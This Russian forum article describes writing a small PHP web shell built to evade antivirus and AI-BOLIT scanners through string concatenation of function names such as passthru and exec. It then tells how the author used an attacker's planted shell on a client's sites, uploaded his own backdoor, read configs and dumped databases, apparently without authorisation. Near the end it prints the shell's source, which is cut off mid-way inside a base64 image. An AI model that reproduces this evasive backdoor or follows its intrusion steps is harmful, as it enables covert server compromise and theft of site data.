Статья Создаём беспалевный web-shell и испытываем в боевых условиях

Предисловие.

В один прекрасный день мне вдруг захотелось написать свой web-shell. Зачем же изобретать велосипед? В сети есть множество известных бэкдоров типа WSO, C99, r57, и без проблем можно скачать любой понравившийся. Дело в том, что я потратил достаточно времени на изучение мини-шеллов, и конечно не обошёл вниманием и полноценные бэкдоры.

Так вот практика показала, что немалая часть из них имеют на борту стучалки/звонилки, и прочие нехорошие внедрения. Бывают они и на самом видном месте, даже видел с комментарием – вы можете удалить это, или поменять адрес на свой )))

Как правило такие шеллы занимают приличный объём 1000-2000 строк кода на PHP+JS. Если вы конечно хорошо владеете этими языками программирования, и готовы потратить время на построчное изучение кода, дабы не попасть впросак, то всё отлично. Можно всё перелопатить, деобфусцировать отдельные участки кода, удалить заразу, если таковая нашлась и наслаждаться.

Правда в погоне за функционалом, встречается и избыточность, например в b374k куча вкладок из того что есть в phpinfo. Также большая часть веб-шеллов написана в 2004-2006 годах, и имеют устаревшие или нерабочие фичи. Ну и существенный минус то, что большинство из них легко распознаются антивирусами и программами для поиска бэкдоров.

bk.png


В итоге я прикинул какой полезный минимум я хотел бы увидеть, и принялся за дело. Сказать конечно легко, а сделать труднее, ведь я совсем не знаю PHP ))) Обрывочные знания на уровне подключения к базам данных, и мини-шеллов были моей стартовой площадкой.

На самом деле при создании веб-шелла мне очень круто пригодились навыки веб-программирования, ведь HTML+CSS я знаю прекрасно. А также помог Python. При чём тут питон скажете вы, и будете неправы. Зная хоть один язык программирования, разобраться с другими языками в разы легче.

Если пересесть из жигулей в иномарку, то учиться совсем заново не потребуется. Будет немного непривычно, кнопочки и прочие штучки в других местах, расстояние до педалей, рычага переключения передач, и другие отличия налицо. Но зная общий принцип управления авто, вы сможете ехать.

Вот и я, вооружившись манами, форумами, примерами кодов, начал потихоньку пилить свою первую программу на PHP. И знаете, получилось всё что я задумал, и даже немного больше.

Обзор функционала.

По сути, кроме командной строки для успешного выполнения задач по исследованию ресурса и не требуется. Но некоторый автоматизм создаёт более комфортные условия для работы.

Общий вид программы

door.png


Зоркий глаз в фавиконке всё видит ) В шапке мы получаем полезную информацию, которая выводится сразу при открытии веб-шелла. А именно мы видим пользователя, под которым находимся, путь к текущему каталогу, где расположен шелл, справочную информацию об ОС сервера, путь и права на временную папку, версию php, адрес и IP хоста, а также версию сервера.

Прекрасно, это избавит нас от ряда запросов. В следующем разделе самое главное – поле для ввода команд. По соседству кнопки для вывода phpinfo, своего IP, под которым мы зашли, и списка доступных загрузчиков, типа wget, curl и т.д.

php.png


Ряд ниже начинается с самых часто используемых кодировщиков полезных нагрузок. Рядом backconnect, ну куда же без него, и в конце ряда загрузчик файлов с обзором на машине атакующего. Завершает всё это дело вкусняшка, делающая дамп базы данных (только Mysql и MariaDB).

Для большинства задач этого функционала вполне достаточно. Впрочем, это ведь первая версия, и ничто не мешает сделать дальнейший апгрейд.

Проверяем на палевность.

Нисколько не сомневаюсь, что мой шелл будет отправлен добрыми самаритянами на Virustotal после публикации. Поэтому сделал это сам ) Первый заброс показал один детект.

total.png


Ну что же, немного покумекав, и на всякий случай, переименовав с post.php на posts.php закинул ещё раз.

total2.png


Неплохо! Но стоит заметить, что антивирусы не заточены под бэкдоры, поэтому я решил уже прогнать прогу через тяжёлую артиллерию. Порыскав в интернете, я нашёл несколько онлайн-сканеров, проверяющих сайты на вирусы. Закинув бэкдор на свой ресурс протестировал, на всех сканерах одна картина.

ot4et.png


Хорошо, сам онлайн-сканер предлагает нам воспользоваться программой AI-BOLIT. На сегодняшний день она считается наиболее эффективной для поиска шеллов, и используется большинством хостеров для оказания услуги проверок на вредоносный код.

Загрузил это чудо, прочитал инструкцию. Выяснил что имеется 2 режима проверки – обычный и пароноидальный. Конечно проверять по максимуму, отправил запрос php ai-bolit-hoster.php --mode=2 -jpost.php

При первом проходе айболиту код не понравился, но мы не привыкли отступать, нам обмануть его поможет киножурнал хочу всё знать небольшие правки кода. По второму кругу получили нужный результат.

aib.png


Попытался найти ещё что-то более крутое чем айболит, но не смог. Если у вас есть сканер, который даст детект на мой шелл, скиньте ссылочку, устраню неполадку )))
На самом деле, чтобы было совсем круто, нужно убрать все упоминания base64 и POST, иначе можно просто легко отгрепать по ключевикам вручную.

В ходе испытаний я выяснил, что чем круче обфускация, тем легче детектится шелл. Для человека код представляется непонятной белибердой, но антивири начинают верещать. На самом деле здесь просто вступает в силу эвристический анализ сигнатур, и встретив в коде конструкции типа $___.=$__; сканер начинает показывать своё недовольство.

По этой причине я обошёл сканеры всего лишь приёмом конкатенации, что и дало нужный результат.

А зачем вообще пентестеру вэб-шелл, да ещё чтобы не детектился? Да всякие случаи бывают, например наивный заказчик не делал бэкапов, или делал но хранил их прямо на ресурсе.

Disclaimer: не будьте ламерами, и никогда так не делайте! Хранить бэкапы в ресурсах сайта нельзя!!!

В результате компрометации, хакер, изменив пароли получает полный контроль, и одним из немногих вариантов остаётся найти дыру в сайте, и проделать путь хакера, установив свой шелл. Далее уже действовать по обстоятельствам – наблюдать, копировать файлы, если права позволят и т.д.

В недрах кода.

Заглянем, что находится под капотом. Поскольку у нас web-shell, или шелл с так называемой веб-мордой, то начинать нужно с каркаса HTML, сделав конструкцию вида:

HTML:
<!DOCTYPE html>
<html>
<head>
<title> </title>
</head>
<body>
</body>
</html>

Между тегов body будут располагаться формы для post-запросов и php-код, впрочем его можно выносить частично и за пределы html, в самом начале. Так, например, нужно поступить в случае, если мы делаем доступ с авторизацией к шеллу с использованием cookie.

Кстати об авторизации – у меня она написана, но посмотрев на количество кода, я решил её не внедрять в шелл. Кому надо, может поставить, но не рекомендую использовать WWW-Authenticate Basic. Дело в том, что этот вариант сработает не на всех серверах, так как требуется настройка. Если PHP подключен как CGI, то вбив валидную пару лог/пасс получите от ворот поворот )

В начале кода, пара длинных строк это иконки в формате base64, что позволяет их внедрять в код, а не хранить в отдельных файлах. Также немного стилей для нужного отображения элементов. А вот и вся магия, позволившая обойти детекты

PHP:
$a1='pas'.'sth'.'ru';
$b2='ex'.'ec';

В PHP конкатенация строк делается через точку, переменные склеиваются, и при этом сканер не может распознать ключевые слова типа passthru, exec, system… А вот как выглядит полный приём обхода.

PHP:
$id="id";
echo $a1($id);

Эта конструкция будет эквивалентна коду passthru(id); Другая информация в шапке программы идёт без ухищрений. В переменные записываем тот или иной интересующий вызов.

PHP:
$pwd=__DIR__;
$uname=php_uname();
$php=phpversion();
$temp_file=sys_get_temp_dir();
$down="which get;which wget;which lynx;which curl;which fetch;which links;";

И выводим всё с помощью echo.

PHP:
echo '<pre>';
echo 'id    | ';
echo $a1($id);
echo 'pwd   | '.$pwd.'<br>';
echo 'uname | '.$uname.'<br>';
echo 'tmp   | '.$temp_file.' '.substr(sprintf('%o', fileperms($temp_file)), -4).'<br>';
echo 'php   | '.$php.'<br>';
echo 'server| '.$_SERVER['SERVER_NAME'].' '.$_SERVER["SERVER_ADDR"].' '.$_SERVER['SERVER_SOFTWARE'];
echo '</pre>';

Самую большую часть кода занимают всевозможные формы отправки и обработчики форм, действующие по принципу – если была нажата кнопка, выполнить такой-то код. Например вывод phpinfo выглядит так:

PHP:
    if(isset($_POST['info']))
    {echo phpinfo();}

Отличие есть только у одной формы для дампа базы. Чтобы никто через плечо не подсматривал что мы вводим, выставляем type="password". В таком виде вместо символов вводимых с клавиатуры видны только чёрные кружочки.

Итоговый код получился небольшой, порядка 160 строк. Так что не будет сложностей в нём разобраться. Получилась хорошая базовая версия, к которой можно прикрутить любые фичи на свой вкус.

Кроме обхода детекта пришлось поправлять код ещё и от палева в логах. Стоило открыть шелл, как сразу сыпались запросы к форме и базе, оставляя следы. Но это было лишь по моей неосмотрительности, немного не так расставил условия.

Кстати о логах – хотите не палиться, пользуйтесь бэкконнектом. Если это не принципиально, то смело можно пользоваться всем функционалом. Хоть все команды идут через post-запросы, в логах можно увидеть месторасположение шелла. И не верьте тому, кто говорит, что post-запросы не оставляют видимых следов. У меня, например сервак показывает абсолютно всё, записывая в отдельный файл и тело запроса, а не только расположение файла.

post.png


Конечно хотелось обкатать бэкдор в деле, и такой случай мне предоставился.

История одного взлома.

Разбирая старые письма, я наткнулся на такой экземпляр.

333.png


Это было письмо 1.5 летней давности, на которое я ответил, что хакеры пытаются сайт взломать. Я продвигал тогда заказчику несколько сайтов, но формы отправки не стал смотреть. Во-первых это не относилось к моей работе, и во-вторых я в htaccess установил директивы от поползновений типа XSS.

Но сейчас увидев письмо, я подумал – надо проверить. Посмотрел NS и увидел, что сайты на днях переехали на другой хостинг. А до этого у него одним из сайтов как минимум занимался дизайнер, обновлял внешний вид. Хостинг один из самых известных в России, но у него есть существенный недостаток, о котором вы узнаете позже.

В общем что-то меня сподвигло на проверку, и я стал фаззить самый главный сайт из 6 имеющихся у владельца. Запустил WFUZZ на предмет файлов php, справедливо полагая, что если есть вредонос, то с большей долей вероятности он будет именно на php.

proxychains4 wfuzz -c -u " " -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hh 178

И вот предо мной уже результаты, насторожила эта строка.

el.png


Ничего необычного не замечаете??? Обычно файл readme имеет расширение txt, а здесь php. Если предположить, что это шелл, то можно попробовать угадать вызов команд. Начну с GET, отправляю в браузере

readme.php?c=whoami - мимо
readme.php?a=system&b=whoami - опять не то
readme.php?cmd=whoami - сработало!

ww.png


А взломщик вообще не парился как я посмотрю, прямо в корне шелл, на самом видном месте полёживает.

readme.php?cmd=ls –la

ls.png


Судя по дате (если она не сменена), взлом произошёл 11 месяцев назад, более того файл имеет права root. А значит, что большая вероятность утечки паролей. Настала пора проверить свою разработку. Смотрю какие есть качалочки на сервере.

wget.png


Копирую свой web-backdoor в дальний уголок, и далее работаю уже в интерфейсе.

cmd.png


la.png


А вот и то о чём я говорил – у данного хостера все яйца сайты лежат в одной корзинке. Это полное фиаско для владельца сайтов. Имея уязвимость в одном из них, все остальные оказываются в доступе, а их всего шесть. У предыдущего хостера такого безобразия не было. Как я позже узнал, причиной переезда ресурсов была банальная экономия – этот хостинг стоил дешевле.

Не гонитесь за дешевизной! Об этом ещё Балда предупреждал.

balda.png


Идём дальше:

/var/www/site/html/

pol.png


Ох уж эти админы, посмотрите – бэкапы лежат на хостинге, более того, некоторые из них разбросаны по директориям в нескольких экземплярах. И я беспрепятственно могу скачивать эти архивы. Так чуток побыстрее будет проверить наличие архивов.
find / -name "*.zip"

Хех! 4 сайта из 6 имеют архивы. Ну теперь осталось заглянуть в конфиги. Один из сайтов на MODX, заглянем-ка мы сюда
ls -la /var/www/site/html/core/config/

conf.png


Файл конфига config.inc.php на месте, но прав не хватает. Не проблема – скачиваю архив и открываю заветный файлик.

mod.png


Бинго!!! Юзер базы root, теперь я могу лазить сразу по всем базам беспрепятственно через бэкконнект.

bazka.png


Админ совсем не алё, кроме root других пользователей у сайтов нет.

bazka2.png


А можно просто сразу завладеть БД. Вбиваю данные, жму кнопку. Всё, база скачалась в директорию с шеллом.

bd.png


Теперь просто вбиваю адрес в браузере и скачиваю на свою машину базку. Расширение zip переименовываю в sql и можно работать либо в mysql-менеджере, либо просто открыть в notepad++. А вот и админ с хэшем пароля от админки.

xesh.png


Полный разгром, скачал 2 базы, остальные 4 сайта баз не имеют. Беру телефон, набираю владельца ресурсов. Разговор длился около 20 минут, в котором я рассказал, что сайты взломаны, что можно скачивать любую инфу, включая базы данных. Злоумышленник может вставлять на страницы сайта вредоносный код и ещё куча разных всяко-разного.

На вопрос что делать, сказал что есть 3 варианта:

1. Обратиться к хостеру. Обычно за 2-3к рублей они просто прогоняют сайт айболитом, и прочими сканерами, но это недостаточно эффективно, так как не все зловреды могут быть обнаружены.

2. Найти безопасника, который не только прогами, но и вручную сможет прочекать сайты. Кроме прочего найдёт дыру, и подскажет как закрыть, или даже сам это сделает. Будет подороже, но это того стоит.

3. Могу проверить сайты я, так как имею 2 сертификата по тестированию на проникновение, и много лет работаю с web.

Владелец сайтов сказал спасибо, и ушёл переваривать информацию. Прошло несколько дней, но воз и ныне там, сайтами никто не занимался. Видимо владелец не отдаёт себе полного отчёта, чем это чревато. Эту статью ему что-ли дать почитать )))

Так что надеюсь, после прочтения данной статьи, форумчане, имеющие сайты извлекут для себя некоторые уроки.
Берегите свои ресурсы, пользуйтесь надёжными хостингами, и не повторяйте чужих ошибок!

PHP:
<!DOCTYPE html>
<html style="background-color: #D3D3D3;">
    <head>
        <title>exp_door</title>
<link href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAOKAAADigGnjPUfAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAg9JREFUeNrEV4GRgyAQjJkUQAl+BW8JlGAJfgeWQAmW4HdgCZRgCSmBDnhufsnfXBDBOB9nbhI54Ja95cDGe39553Mt6dQ0TUv2NgDhoeDdBrjuPwC4YHrDN70CoCnVQFgpgWhDfyfaaYKP0H4/AuAmJusF1RRsRlBLFvpoAeIL7YZ+q4EQA2CBghtmNBE51mAKKfARFNiIY8m3wE/jhujbs7zzNxD9GfFu8B6N8q9Y/xZMeTD3MgAVWWBtgwCxchDoE0FMLwEQk/GVdgicBAF/9LW5+a8JtQ/BxmAKTRa/mumGGKEg32j6FNtRiRqyL0Kx6iXSzsQ37zBE1qGNs6OrU4Ad4RFcscnGRF+uiVkI1Ul9lAKIkw6JFd35qhhDMSAXqDkkQraKUTDiBZBJpECaOgrAyvwhmK+w9XAdYJTrDWZKzRwVoecaED7NynSpxfKtahlIVTldwIRDyjT0MzPdqBIAs5jQJhS+mfvkSv92li0B0FYElDtDZcq6eRJ3pnO3k+s10dZvpGsUh5upOYy0MCVOywjEJcY9FSX0f6ThVnBhsRmfC4fWgsNoFe5RvGt2y6q+lJ7xxKtax07Yy6X06rSTor0UOATupVbOAKDYjhkSu+mhG6TpXnUjKgRh+Ep3akt/OgBRPR2KjoL1zDdU3wkrUzFlClSfGtec/XWMj1jN7oI2t5Wbd3+e/wgwAGD4W8SG5D6lAAAAAElFTkSuQmCC" rel="icon" type="image/png" />
<style>
hr {
border:1px !important;height: 1px;width:100% !important;background-color:#7d7171 !important;color:#7d7171 !important;
}
body {font-family: sans-serif !important;color:black !important;}
pre {margin: 0;}
</style>
    </head>
<body style="background-color: #D3D3D3;">

<img style="float:right" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAYAAACOEfKtAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAIGNIUk0AAHolAACAgwAA+f8AAIDoAABSCAABFVgAADqXAAAXb9daH5AAACKySURBVHja7J1psKR3dd5/777022+vt+9+586dVTMajUYaSSOBVAgkBMYYUlSwscEpnNiFE6iQ2E5sV1J2JSZePoQPdsxSGBvHQJANAWNjC6MFJCSEkNCMZubOzJ3t3rlr39773dd8aDHlDQcJMALmfOyu6v73U+ec/znPec7bQp7nXLMXb+I1CL49k19qB2rx5J6U3sRy8pU3Ly0tHbtl/6s+OC4ceKTEbUvXAPwW7Ilnn3jzanfxN0RriziOefTRR4/un8l+frZRWZ2z9vovtfMK34scGHJBTfGtmNgscWQVYJNPvPmvnn3/HzSzc1ZuCCCBpmlkXQUp0Ni/58bH99UOP/D46afeOD+5/8v7K8fulxBSH7cWhl6pou16ssSxpR8KD2wP2jPN3uqFdrv9rlcdOfJ7Z9e+PtPJLx0Jw9AqlAv0ogFZmrG+vs5McReqJLGxsXFHOBTu2NzcJHHlIz2bdxbNAlvrGwhJxoED+r/IK2c3yuxzvu89MOSCmuBbGpofI0cGO9OQi5JPbzJmff+za1/8meXtp94S5xHzu3c9efHSudsydZ0sy4g1GWeQ0G4H5HnO3ukxJCUhinzSNCWWdFTFIE0k0jDCUCKIU6RonIXKfR9+3d7/8a+/7z1w8fziXatrl/5G13Xuue1nhdMrDx29tHr+mGjEv7v3SIUkSYiiCFmXOH/+/G2e75AqQzRNI5UFDMNgcrJClmUoikgupKP30pStZgdNNTGNMqqiYBgSUeYjiiKGYQy/L3PgNs81vrL4+38cGedv6UUr1ZYzQNJMgiCgUBLo9/uoisHmRg9NG6dQKJDigyzRc/tkWUZZVTBMlWJJJEkSBElEEAS8Too7TIhzEy9KyGSRNE2RFZexShU5MTBkFUlqUTOL6PFMp6He9smb59/yS0UO9L8v6sAgDCzP8+5bX1+vhmFIsVgkyzKq1SpxHFMqlRBFkbm5OQAcxyGKIrrdLgBJkhCGIZqmIQgCaZqSpimCIKCqKsVikTRNMU0TQRDQNA1ZlvE8j06ng6ZpaJqG4zhcuHChmiSJ+pIPYZfF0smNr7xZr6i+pPcms8kOQTMCVWJza4NyZQ53EKGZJZBkYjlEUBUKY0UuXd7G74sUi+MUxAgRD1lWiCOdOII8L7DdHZBlCQsLVWLPY3y+gJ9EtC55SJJE1TAJXAe5qLPUPodthIwXSlTHb2DHzkMP/P+8r8mXDzadKwfHrfKGipRKTJ+yXoTHvmgAu153cn19/YMXvrZEY7dEadLEtm3OLJ8mFwXW19eRZZmKaCCKIsVikTiOyfOcbrfL0I9xHIddO6uoqkoYBjSbTfI8H5UvWY4gCLiue/U7FUXBcRz6/YDCfANN0xh6HgVLQ9cFkiTB1nVEUUz/qbNfGpxXz6w+/fpLl8/85o4dE+RRgpLMvuu+Ww783ncNQI+LUj87d8ea89SbmsHJu8+vP3ODLyYo+01ObbaJNwUajQZaYQzf99F1EVXQcJsikiTRXlujMV5DVgZYtsfAhSyJWVuWmB6fADJ0XSfOoetFyKpKmqa0Wk0qlQpSquIPY9yOhpgpXFhqsu+6BjvmJ0gyB11UEVPo9jv0hLN3rvGByVNXTrzaGfYbuq4P9y3c+/4C9vY2Z+486XzprZfCB/cYCwbn8pQw8Sgmd/zGXsobO/mXn/yuAGiykC41H1t48rkn/31mbSJZEoaisN3tEoYhoqSzsbGBXtSQJAlBEBj0B1hGdZT0ZZkwDEnjiGPHbmblSp8Tx8/jui6DwYBGXSWKIqIsxzQLRElClo1A1TQNPwjIMuHq5+iGiGEYqKpKHktkaUIYxqjAysrKO093T+N0+4hCjq7rpMnpu7e7HZx8GbHQQ1XV0TkRMCsVdlX3lfqD/til7Gs7dpaPLn9XQvjMlQvHpKl1EtHHVTJ6vQ7OwEcUFPwsRFR1hmGIrlt02x5hqLPSGmKqGqWiTJL5qFqK33UYrPdQIgiI6Htr2MkcrhOx1tmi0Zgk8BP8gcO0NY0uFFC1gEvrlwiTiL3XzdOYNJGVFGU4QM5BFIt0h12wz7GSXKQvtCnMFhAFg34ksRGfphN1yOIELdUwtTKSYNLPm9h2gXPtJ3jmylPvu/vmn/i1cYSPmNz8LYEo/fqv//q3DKA9HQ6W+4++PcpCut6AbrdL2a4iSQqpIFCwbNzAo93ust3s0e26RH6EIskEfpfZmQZF20AQBPJUo9GoUappzM7OULYr2MUyl66s0247JHHE5nrEwoyFrAi0O00syyIVdWZmZjALMpAQ9Xvouk6vN8R1XSamG7juELtkkaYpYZiiyAZxlOC6LmmSkOc5ZCL9fp/aVJnBYICSauiUIbTulrEfGitcd+477oH9ltnvrlU2lp2Lk64+oFKpURmbYDAYoIo5hYIB8Q6CzctMWQaqLVEsxzRqFcr2HHEcI8kpeZ4wO5uS5zliXsf3fVKlT9E22DkjMBzm1CyN63c0eOqZFWxbYNf1k4xP1ylN+iT+Fu469DoRUq2BG+g0vW3KRZsLl7ZxHIfq1DSmWcbQEoQ0wxQFrPEGl4YOfpThRRG1UhmnI2IbUwT5Jkm5y8Whxbh0/cR3JYQP1e860bv1wc84xy+/I8tiCoUCQRDQ6XSQVWl0eWg7GA6HRFHMG3/0R0jZJk9SICfPc7a2thCEjHLVQFGUUXsWx2y2WoyPj3PgwAG63S41a5xiYYypyR0kSUKqjjxMUTLSNMXzQhTFoD8c4nkesizjOA5yBoVCgTAM6fV6jNk6laKNKMvIsky5XObihWWKukW/36daLbO8vMzknIYoikxPT1Ov1le+VUy+pRAOOGu1+OrLWjzyoz2335ifnzsaDEdNvASEvkca5QTDHCHXSdOMSl3ALMcEySaZ5NMduPSdgKGfEaYSXiISJAqabNIfRkSxSBjkJHFCFKQMhwOCyEGUBXqDFt1uG1EUyHMBVdJxnJA0z4j1jEyMKSJjqDp5aiKgkWsqkzMNHG8FhBBdEUjTnCQ1SGKFztBH1EyCwMMuGdilAmmc40QXafYee2utYl0uCYePf0c8MEiD4hcf++JDjrBMpoNgOVQqFYI05uTiaURFpliqst0ccvz4ccbGxtg1N4euSwThqNkZDAakiUyhUCIMQzzPQxRFtre3ieORd4qiSK/XQ5ZlFEmi3++TxAMkSUJVVdrtNvM7ZxERqVardDtDsixBVVWyICRNU4JAwPM8CnKZbjelYJrIooQoisRxhm3brKy1WFvrMj+vYFrq1e8lySgYBkNvyKlTp+7WZ5/9fKN048a3BeA6n7v7qbVP/deN0l+QSyLdfki0IZCtKoQ+WFO78NyQi8stZKlALkSsbw4pVi1EwaZUnWDY7SGkOnmcE3sRZDmGYpL4KZEQIMgChlAkTVJkQUPMRRzPxzRNJGTyPEdIMopGlY0rLer1OlrBJOq30XOTeJiTq0VAJpJyth2fQiAxdLtYYwLFapmuD4hVvvbIEmEYUilUKKt1RGWFVsdBTgoUVJ2CopNJIpe2WnO7JyKj8e16YM/vTTSbzbsFRaBo2/SHbTRNJY5E0CSGwyHDgUer1SWJuxQLDTzP49SpSzRqB/D9BEmSqNfrkMtomka73cbxHTRNQxRlsizD8zxM06RgGaRpyvTcNFtbW4RBjKqqpFFMToamaVe7me3tFq4Hteo4neYWzjBCt2vUajU0TWWiMY+pDoiiiH7f59TiRXxPZ3p6msAbIAij7sWyLOrWNAVVJ0ojauUKh3bdfv8e89aL3xaZ8PX+H7zji+fe/0fidAsmx7gSuGhTk2jTVYqzNlQjZFUCKWFs0mB8RqPvNZENF1WDkydPc25xhWefvkjgD6hUJXz/CkmyiaGlkAb4YYYg6QhiTOC3GR8zadQNvKBFbcxAUhwsW0DXUsQ8I3AjCnqFTi9laxsMUWLY2SLNIyZndMSiR6GRYxohWuoiRSlqCo0d+7HKdZBEBv0+vr9NrRYx29hL2ZyiKBukYYIQwVh1nIK5vWOLz9/xonPghnuyev78+WN+7Ku9ZpfV4SqmaRIEIpZlUbFtkiShtdzDtm1ExaJSqbBjVqRUKnHq5HFsU8P3u+zaNUW5XGZ9fZ1edxvLKpCkGSCiKApZljE3N4emiAwGfXq9HiEJs7OzTE9PI0kaTprTafcpFktX++VbbrkeW1UolQs4/oDNzU1EUcb3fSJVQrR04jjGsiyutNtsbbXQlBKDwYBjt81imiZZnmPbNrkfI4ojCu3s2bOc7Gz88s1zmj++69WPv6hbuKg2fE9sGpHUelOspoSkLC1tkUV1Lixtc+nyeerVIgXRp1HRmWgUycIBoetiqjA/P4EoplTKGnbZAjknE3KQFcIEwqiOIBWJMw+7bKBKCZ47pN3ukCQgSFVa2y6gMhj4lIsKiipi2TqDYQurXMAwJQQlJY59lMSlapukRIRuF1UVEBWZgmHR6TucfG4ZMckxZIm777oDjC5OOCCMPFyvjyBlKIoAsocghKi2z5XWo3erSnl9yjryzIvKgVMTU2euxDq6oGOkBlkGZ85coFjUmd9ZwzRNNEMlz3OCIMBxHDwPoihC6kqEYYhpCGRZRhCHNBoNEAQ8r3O1X5YlmW63i1kr0+/3R6/JMmGSoGkavV4PTdPwvIhGo8Hq+hpRFOG6W2RZhmFomKrGuG2QJAmlUokkSSgaBpqqEccx29vb9PsZwwHc+fLdJElCx+kQxzEkYKoaw3aPml2mWFJRJZksyymVStTr9ZW2t2TUzD3+C64DozTuf/3ko3d74eVZ1C5iNmSyPsGg02P/jkksXUY2QtI8IAgFet2ULCsiCAakGXmWkWUJsqRiFyw0RSP0Q+IgJQwFhr0ASajQ2oyp1kvEmUKUCgiyRi6ohFGCrIgIckypYjD0HQqWTYZM6GcokoYspsS+jyzJ5AhoRhFJ0Bj0XHS1gCabCKKGVVRJcamOlegP2yS+hCZZxIaGk+TIhQYDLwNBJ85yJDMjkxNWt557qx8Pawvlu//yBXtgXdrjHzt27P4vnzt3h5um7Nu3l8ivY9s2pVIB3+/Ra6+iKAqaPjaqxzKNLMsgZ1TPqaN7Std1wjDkGyOENE3p9wd0eg6SJNFqta4yJEmSgKCMmO08JBdy2u02WZZhGimWVabfDxEEgSiKKGg6kiSN6LA0ZTAY9elCmpGaBUqlEnZtnMnZedqdEWcqyzIwYmoEQSCOY4Q8x3EchIKMngqIgshgMMAX/VInXDKq2j/0wm8KYMIFdZuT9zSDJ9+EYmKI17N46gKbzWe49babSOV1DEPCyev0egFxv0eeS+iahCALZHmMmOUImUwSpgwEj0rVRlZyut0tykWZglpmsw1JnuHnEopmMxyEbG93kEmRJB8vaDM9MwGCjCAINKbm2Fxdh1xBSFJkSaYxPkkm5QRJQhp7uF6HcrWC6/uogYiiqYTBFkbRAssjTjNK2QSkFZ4+2UbXdS4vn8EyY27cWUeVE4I4RjZMKKcE6pW3RJH3C2h86wAOk2Htieee+MsV/wRNb0CkyZw9exndFJ6fQ/QpFAqjzkEqIKsaIJPE2ag+kgREURhxhWlOHMujOYckMD4+TuCJWKaNGyWsbqyjlwyyLMN1XRzHwVAkHMehUBRZXl4mzWJs2yD0XdIwplYpIQoigigyHA4RtVHO7fe7CMIo7466j5i1tTWqEyZZliFJEo4zQJdCnnv2azyzNmBqqkFOhut66LrOxIRFlG8RRRFCrBBkwUXTNHsvKIQH0trBrXCJQI9ZWr7IlY6IYUwwzCQe+eo2pu1jajnjwjRjY2NE8Sa54IDoomkaIJAmArJUI80Fhj40zw0xytBojLPe8ggCF0UZhWqz3WOz5yIIJrFUIE8FdKtCnLsgyIiKzNAVabdTFFSCfsDUVAMnHdDsu8yN1xir1hk2B+i6zlacYFkV+kMfyyyiJhFRy8Ws1tCEhMWlnCefHaCOQZaGaLpFFKmcOXGR6fphTNMkDSIU9qHlN3zelv7xS+SbFtKSIIW7d+9GEEYeI4oiYRgCYBjG1ema7/vkeX6Vdf5GpxBF0dX+VlEUXNdlZWWF8+dXOH78OFeuXKHZbOK6LqZp4jgOvd6QwWCA/DxzAiAIApIkkaYpSZJgmiZ5nuO6LmfOnGEwGLC11WRtbY00Ta/mWtM0CcMQwzBGniQI1Go1+v0+pVIJTdOIIqhUjBFjnaaIoki3m3Dx4kUURSEMQ2zb/tqh6w994QXNhZfSz953vPmh3193Nha8PEBRRdQkRpZlHv6bE3iOxLBYQFVVPM/BNgvMVipYlsUwSOkM+3SdFfbu3U2ezbG4uIjvj4ZDuW0gCipaKKDJClnWQhRFnDAnCjNUwLarxAKjIZQUIUlg6RresIWgBhy9cSdWXGFxcZFb7z5AlmX4Pej3AvwoR5ZlUtkhz3OyIEKXFXbO70HF5PjXtnn04VMst4eIpsbeIyWSzCWNE5Iw5LZjGod27kGJBQQHXnnde15zoPj6B15QHbixsbFno7mxEKohXbfL+sYq+2ansW2bhYWdKFKNk50W29vbo2o+y1hZWcG2bfpejJ9EqIWROOj80irD4ZA8H816c1UgDFxqShFdUa/Ofku6TuAniMmIOY6F0c0dpSlhGDI/M0111wzD4Nyo8+nLHD16lFZrhcuXl8l8lX4vQtbMEUPtd2g0Smyv9bnrjiO0Wi2+9IXjnD4++tFjY2NMLezATS4SJRFlu8Tkrhmmp0fRFHsRB+cPLKuq6r0gZcJq/uf3Pfzchz6wHn9lR2l6nIcfPUmzBSBw9Ka7GBuf5pFHHsG2LTqdDp4+opuEQQk9FzGfDztfKNINXDqRR5qmlLIIRVHoM5o4FjKo1mxSEtIsxFBzwjBELpTw3BAVEUkwyTGRZRkpc9l/YI7MclldXSW80qNYqLPthGRZRpKOqH1fVEiShJlqhUG3ze137EPTNB59cMijj5whEGB8vM787ASb6+fYtW+CG26Yolr3sWSNeBhgUKCW3ctNC2+YXbBuWn3BvXCSJDsMY1TZq6qEqqakqcTi4iJX1rY4fXqdYhEWFmbJtIjBYMBYYQoxTAgdh+PH2xTHNeqzUxAxoqX8EYWvqAqFQgHZH/F3uTgKOUFIKBQKDEZ5h9QPEXIJUVJptVpYWsaZM2fwlQ5JklGXDQaDAYgalmUhPi8F6XYHzMzMcOuNh+m2moyPF3jsscdoty1uvPE6emGCrus0m1usrkZUxjo0Gjey2XwardYgTVMmZyaZUuZ/rmyVN14wmTBwLx/xwk0EXcN1Yuampuj0VkmlKq4Ig2GTiT0Wy8869FausHd+gaoyycXWKmNjY3jPZShnQD0TctPdGkszk+QkhHqCLiuUpSqtrS6yVcPAQCMh9EJSZDrtAX3XR6oZ7PWgVLJ58IzLlSttFoKE8kyBvUem6CkZlyWfgmkj+gorl5rMzk1w58tvhK1lSpFA/PQWk8YEf/6+LxKGCsKUQJc2ZnmCOIzRIwE1ghNf8jn15b9GVyLe9pYSh6+bIe2kzO+55ZNVFtIXDOBwOBwDyLIMzdAw09GN2OoMMWwLQRDQdZ2dO2tsXFjj1KmLlMsaLT+k3Xa5ZXw/UsdFDCJOnz7DalxgcqqBKItkWcby6jJLSwP0Mti2iankuK5PuTbG5kaLy6s5hUKbgQcTE6usbsgkSYLvj5QJq6urpNUCxR012q0uiycG5DnUx0p89KP3c9e+KUSzwmf/9BR+D5wuTE/LLC4O8CWoTca4roseRQCoqkqSJOzdW2Tv3r04TpNyzVxSUb8lNew/AHDa+PFfySYXvvZs+7c+lmYitgwVMUYrlhj6LiEBhmFgVWLswzaRaNFsNnndwXFu2nuAdDjBp/7XFWrPRRyePMxvP7XIVqGHpA4AGB/CzVoVZ6VDmnpE9TqhYrDj8AL79xzkkx97hJKnoy4FOMtw7546a+0N5soak1mZr36+x9i4wnBK4UzLJzRh564KZUUmcwQe+511etUBE21QVYmNgxo7Dx9gPIr5ywePwxUZJa2RygpimlKdXuO+Vyxw6+HDiFGK71g0xg4/YPOtyYn/QR04U94d7Z7f/WSSJAR